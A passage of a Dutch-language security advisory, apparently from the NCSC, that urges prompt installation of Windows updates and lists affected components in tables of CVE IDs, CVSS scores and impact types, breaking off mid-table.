**CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| 